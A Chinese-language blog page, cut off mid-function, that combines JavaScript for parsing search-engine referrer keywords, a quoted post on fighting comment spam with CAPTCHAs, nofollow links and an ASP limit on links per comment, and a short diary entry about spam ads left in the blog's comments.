  }else if(refUrl.indexOf("http://so.qq.com") != -1) {
    if(qqqqSeRE.test(refUrl)){
      try{
        refName = ("QQ:" + gb2utf(refUrl.replace(qqqqSeRE,"$1"))).substring(0,255);
      }catch(exception){
        refName = "QQ"
      }
    }else{
      refName = "QQ";
    }
  }else if(refUrl.indexOf("http://cha.so.163.com") != -1) {
    if(wangyiSeRE.test(refUrl)){
      try{
        refName = ("163:" + gb2utf(refUrl.replace(wangyiSeRE,"$1"))).substring(0,255);
      }catch(exception){
        refName = "163"
      }

    }else{
      refName = "163";
    }
  }else{
    try{
      refName = escape(refUrl.replace(otherRE,"$1")).substring(0,255);
    }catch(exception){
      refName = "other"
    }
  }
  return refName;
}

另外,关键字超长折行的解决办法,observer.asp 177行修改成如下样子,红色部分为新加的,41为显示字符的长度,由于某些原因,长度与实际的不符,而且可能产生半个字符的现象,请根据需要自行调试长度

          showScript += "    showStr += ' - <a href = \"' + refArray[i] + '\"

 title=\"' + refArray[i] + '\" target=\"_blank\">' + unescape(nameArray[i].slice(0,41)) + '</a>';\n";

以下引自 浪人黑白

最近一直在留言本那边出现垃圾留言,很多人为了获得指向自己网站的导入链接,因而大量在流量大的网站的留言板、BBS发贴,这对于搜索引擎来说属于垃圾链接。如果站主不限制限制,搜索引擎就会去索引那些链接。当然对于你的网站流量会大些,但是出现的都是那些不堪入目的信息,你愿意么?

垃圾留言(Comment Spam),对于Blogger而言,实在是大敌。介绍2个方法吧!

  首先,确认码(Security Code)是一种行之有效的防范方式——采用图像方式显示确认码(Security Code),系统通过判断留言者输入的确认码正确与否来认定留言者是真实的人还是机器人——这种方式不会出现判断失误的情况。通过程序将无法大量散发垃圾留言,因为采用人工智能来识别确认码的成本极高,垃圾留言者肯定无法做到。

  其次,使用NoFollow标签来对抗垃圾留言,这其实是Google开发的成果,Google利用一种新型标签淘汰垃圾评论链接,使用该属性,网站主可以限制搜索引擎跟踪某一链接。在链接标签中显示为:rel="nofollow"。这样做的目的,是为了阻止搜索引擎去搜索那些博客站上垃圾性的、不想被索引的评论。如果超链接有NoFollow的属性,Google在对搜索结果进行网站排列时,这些链接不会算入。对于blog程序来说,只要将comments里出现的所有链接自动加上 rel = “nofollow” 的属性就可以实现了。

[CODE_LITE]
DIM MaxUrl,MaxHttp
MaxUrl=2 '最多可以在一个评论中加多少个[url ] 
MaxHttp=3 '最多可以在一个评论中加多少个 http://

  ElseIF Strurls(Request.Form("message"),"[url")>MaxUrl   or Strurls(Request.Form("message"),"http://")>MaxHttp then 
   msg_Title="出现错误"
            msg_Content="<a href='javascript:history.go(-1);'>您输入的内容有太多链接。这是不允许的!点击返回上一页</a>"  

ElseIF Strurls(Request.Form("message"),"[url")>MaxUrl   or Strurls(Request.Form("message"),"http://")>MaxHttp then 
   msg_Title="出现错误"
            msg_Content="<a href='javascript:history.go(-1);'>您输入的内容有太多链接。这是不允许的!点击返回上一页</a>"  

竟然有人跑到这里做广告

一整天没上来看,准备睡觉了想上来记点东西。竟然发现有七八条最近回复。打开一看,全是链接到“小电影”的网址。查了一下全是今天的,平时都没有,今天一来就来了七八条,最多的是云南的那个用户发了五六条,还有丙个也是这类的广告。挺晕的,看来我的那几篇日志访问量还挺高的,有人来做广告了。不过我不欢迎这种纯广告的留言,而且还是非健康的广告。还有一个竟然想将页面跳转过去,也够黑的,还好这套系统过滤了scritp。
看来将来要多上来看看了,要不就只有禁止评论了。